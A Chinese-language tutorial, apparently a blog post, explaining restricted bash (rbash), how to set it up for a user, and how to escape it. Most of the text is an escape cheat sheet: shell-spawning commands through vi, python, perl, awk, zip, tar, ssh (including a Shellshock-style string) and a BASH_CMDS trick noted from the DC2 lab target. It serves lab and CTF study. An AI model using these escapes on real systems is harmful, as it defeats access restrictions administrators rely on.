目录
一,什么是rbash?
rbash,即受限制的 bash,其可以用作中转服务器(实际上rbash只是bash的一个软链接)。它与一般shell的区别在于会限制一些行为,让一些命令无法执行。
二,如何设置rbash?
1,复制一个bash,重命名为rbash
cp /bin/bash /bin/rbash
2,设置用户tom登陆的shell为rbash
useradd -s /bin/rbash tom
3, 在tom用户下新建一个.bin目录存放可以执行的命令
mkdir -p /home/tom/.bin
4, 通过软连接执行命令
ln -s /bin/clear /home/$tom/.bin/clear
5, 编辑文件
/home/$tom/.bashrc
,添加export PATH=$HOME/.bin/
.
文件一定要以# .bashrc
为首行.
三,如何绕过rbash限制?
1,首先是枚举Linux环境(做信息收集)
1,检查可用的命令:su,cd,ls等
2,检查可用的操作符:< > << >> | /等
3,root身份可以运行的命令:sudo -l
4,检查shell:echo $SHELL
5,检查可用的编程语言:python,php,ruby,perl等
6,检查环境变量:运行env或者printenv
2,"/"字符被允许
3,cp命令被允许
4,常见应用
FTP: ftp > !/bin/sh
GDB:gdb > !/bin/sh
man:man > !/bin/sh
git:git > git help status
vi/vim:!/bin/sh 或者 !/bin/bash
5,set shell
# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
6,编程语言
python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"
php
php -a then exec("sh -i")
perl
perl -e "exec '/bin/sh';"
lua
os.execute('/bin/sh')
ruby
exec "/bin/sh"
7,其他方法
ssh(4种形式):
ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
awk
awk 'BEGIN {system("/bin/bash")}'
DC2靶机所使用的方法:
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a
# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin